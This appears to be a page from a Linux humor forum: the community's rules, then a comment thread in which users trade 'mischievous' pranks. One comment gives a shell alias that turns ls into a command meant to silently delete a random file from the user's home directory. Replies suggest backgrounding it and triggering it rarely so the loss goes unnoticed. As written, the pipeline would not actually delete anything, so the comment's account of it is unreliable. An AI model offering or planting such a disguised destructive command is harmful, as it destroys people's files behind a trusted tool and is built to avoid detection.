Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack members of the community for any reason.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
    • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
    • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, and wants to interject for a moment. You can stop now.

    • Please report posts and comments that break these rules!

    Why not make it more mischievous?

    alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

    This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

    the first command will take too long (and will be very obvious that something is wrong if it takes forever for ls to actually list everything), better run it in the background with &

    Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.
